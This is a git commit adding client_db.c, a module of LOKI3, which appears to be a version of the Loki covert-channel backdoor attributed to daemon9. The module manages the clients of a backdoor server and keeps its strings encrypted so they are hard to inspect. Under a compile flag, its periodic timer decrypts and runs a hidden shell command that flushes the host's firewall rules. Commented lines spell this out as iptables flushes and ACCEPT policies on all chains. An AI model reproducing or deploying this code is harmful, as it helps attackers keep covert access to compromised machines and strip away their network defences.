summaryrefslogtreecommitdiff
path: root/client_db.c
diff options
context:
space:
mode:
Diffstat (limited to 'client_db.c')
-rw-r--r--client_db.c279
1 files changed, 279 insertions, 0 deletions
diff --git a/client_db.c b/client_db.c
new file mode 100644
index 0000000..0a3143e
--- /dev/null
+++ b/client_db.c
@@ -0,0 +1,279 @@
+/*
+ * LOKI3
+ *
+ * [ client_db.c ]
+ *
+ * 1996/7 Guild Corporation Worldwide [daemon9]
+ */
+
+#include "loki.h"
+#include "shm.h"
+#include "client_db.h"
+
+extern struct loki rdg;
+extern int verbose;
+extern int destroy_shm;
+extern struct client_list *client;
+extern uint16_t c_id;
+
+/*
+ * Obfuscated strings
+ */
+extern estring S_MSG_SIGALRM;
+extern estring S_MSG_EXPIRED_CLIENT;
+extern estring S_MSG_CLIENT_DB_FULL;
+extern estring S_CMD_FLUSH_IPTABLES;
+extern estring S_STAT_VERSION;
+extern estring S_STAT_INTERFACE;
+extern estring S_STAT_TRANSPORT;
+extern estring S_STAT_CRYPTO;
+extern estring S_STAT_UPTIME;
+extern estring S_STAT_CLIENT_ID;
+extern estring S_STAT_PACKETS_WRITTEN;
+extern estring S_STAT_BYTES_WRITTEN;
+extern estring S_STAT_REQUESTS;
+
+/*
+ * The server maintains an array of active client information. This
+ * function simply steps through the structure array and attempts to add
+ * an entry.
+ */
+int add_client(uint8_t *key) {
+ int i = 0, emptyslot = -1;
+
+ locks();
+
+ for (; i < MAX_CLIENT; i++) {
+ /* Check for duplicate entries */
+ if (IS_GOOD_CLIENT(rdg)) {
+ emptyslot = i;
+ break;
+ }
+
+ /* tag the first empty slot found */
+ if ((!(client[i].client_id))) {
+ emptyslot = i;
+ }
+ }
+
+ if (emptyslot == -1) { /* No empty array slots */
+ if (verbose) {
+ char *dbuf;
+ dbuf = decrypt(S_MSG_CLIENT_DB_FULL);
+ fprintf(stderr, "%s", dbuf);
+ destroy(dbuf, S_MSG_CLIENT_DB_FULL.size);
+ }
+
+ ulocks();
+
+ return NNOK;
+ }
+
+ /* Initialize array with client info */
+ client[emptyslot].touchtime = time((time_t *)NULL);
+
+ if (emptyslot != i) {
+ client[emptyslot].client_id = c_id;
+ client[emptyslot].client_ip = rdg.iph.ip_src;
+ client[emptyslot].packets_sent = 0;
+ client[emptyslot].bytes_sent = 0;
+ client[emptyslot].hits = 0;
+ }
+
+ ulocks();
+
+ return emptyslot;
+}
+
+
+/*
+ * Look for a client entry in the client database. Either copy the clients
+ * key into user_key and update timestamp, or clear the array entry,
+ * depending on the disposition of the call.
+ */
+int locate_client(int disposition) {
+ locks();
+ for (int i = 0; i < MAX_CLIENT; i++) {
+ if (IS_GOOD_CLIENT(rdg)) {
+ if (disposition == FIND) { /* update timestamp */
+ client[i].touchtime = time((time_t *)NULL);
+ }
+
+ /* Remove entry */
+ else if (disposition == DESTROY) {
+ bzero(&client[i], sizeof(client[i]));
+ }
+ ulocks();
+ return i;
+ }
+ }
+ ulocks(); /* Didn't find the client */
+ return NNOK;
+}
+
+
+/*
+ * Fill a string with current stats about a particular client.
+ */
+int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) {
+ int n = 0;
+ time_t now = 0;
+ struct protoent *proto = 0;
+ char *dbuf;
+
+
+ /* locate_client didn't find an entry */
+ if (entry == NNOK) {
+#ifdef DEBUG
+ fprintf(stderr, "[DEBUG]\tstat_client nono\n");
+#endif /* DEBUG */
+ return NOK;
+ }
+
+ dbuf = decrypt(S_STAT_VERSION);
+ n = sprintf((char *)buf, dbuf, VERSION);
+ destroy(dbuf, S_STAT_VERSION.size);
+
+ dbuf = decrypt(S_STAT_INTERFACE);
+ n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst));
+ destroy(dbuf, S_STAT_INTERFACE.size);
+
+ proto = getprotobynumber(prot);
+ dbuf = decrypt(S_STAT_TRANSPORT);
+ n += sprintf((char *)&buf[n], dbuf, proto -> p_name);
+ destroy(dbuf, S_STAT_TRANSPORT.size);
+
+ dbuf = decrypt(S_STAT_CRYPTO);
+ n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE);
+ destroy(dbuf, S_STAT_CRYPTO.size);
+
+ time(&now);
+ dbuf = decrypt(S_STAT_UPTIME);
+ n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c);
+ destroy(dbuf, S_STAT_UPTIME.size);
+
+ locks();
+
+ dbuf = decrypt(S_STAT_CLIENT_ID);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].client_id);
+ destroy(dbuf, S_STAT_CLIENT_ID.size);
+
+ dbuf = decrypt(S_STAT_PACKETS_WRITTEN);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent);
+ destroy(dbuf, S_STAT_PACKETS_WRITTEN.size);
+
+ dbuf = decrypt(S_STAT_BYTES_WRITTEN);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent);
+ destroy(dbuf, S_STAT_BYTES_WRITTEN.size);
+
+ dbuf = decrypt(S_STAT_REQUESTS);
+ n += sprintf((char *)&buf[n], dbuf, client[entry].hits);
+ destroy(dbuf, S_STAT_REQUESTS.size);
+
+ ulocks();
+
+ return n;
+}
+
+/*
+ * Unsets alarm timer, then calls age_client, then resets signal handler
+ * and alarm timer.
+ */
+void client_expiry_check() {
+ alarm(0);
+ age_client();
+
+#ifdef FLUSH_IPTABLES
+ /* Flush iptables */
+#ifdef DEBUG
+ fprintf(stderr, "[DEBUG]\tflushing iptables\n");
+#endif /* DEBUG */
+ char *dbuf;
+ dbuf = decrypt(S_CMD_FLUSH_IPTABLES);
+ system(dbuf);
+ destroy(dbuf, S_CMD_FLUSH_IPTABLES.size);
+ /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */
+ /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */
+#endif /* FLUSH_IPTABLES */
+
+ /* re-establish signal handler */
+ if (signal(SIGALRM, client_expiry_check) == SIG_ERR) {
+ err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM));
+ }
+
+ alarm(KEY_TIMER);
+}
+
+
+/*
+ * This function is called every KEY_TIMER interval to sweep through the
+ * client list. It zeros any entrys it finds that have not been accessed
+ * in KEY_TIMER seconds. This gives us a way to free up entries from clients
+ * which may have crashed or lost their QUIT_C packet in transit.
+ */
+void age_client() {
+ time_t timestamp = 0;
+
+ time(&timestamp);
+ locks();
+
+ for (int i = 0; i < MAX_CLIENT; i++) {
+ if (client[i].client_id) {
+ if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) {
+ if (verbose) {
+ char *dbuf;
+ dbuf = decrypt(S_MSG_EXPIRED_CLIENT);
+ fprintf(stderr, dbuf, client[i].client_id, i);
+ destroy(dbuf, S_MSG_EXPIRED_CLIENT.size);
+ }
+
+ bzero(&client[i], sizeof(client[i]));
+ }
+ }
+ }
+
+ ulocks();
+}
+
+
+/*
+ * Update the statistics for client.
+ */
+void update_client(int entry, int pcount, uint32_t bcount) {
+ locks();
+
+ client[entry].touchtime = time((time_t *)NULL);
+ client[entry].packets_sent += pcount;
+ client[entry].bytes_sent += bcount;
+ client[entry].hits ++;
+
+ ulocks();
+}
+
+
+/*
+ * Returns the IP address and ID of the targeted entry
+ */
+uint32_t check_client_ip(int entry, uint16_t *id) {
+ uint32_t ip = 0;
+
+ locks();
+
+ if ((*id = (client[entry].client_id))) {
+ ip = client[entry].client_ip;
+ }
+
+ ulocks();
+
+ return ip;
+}
+/* EOF */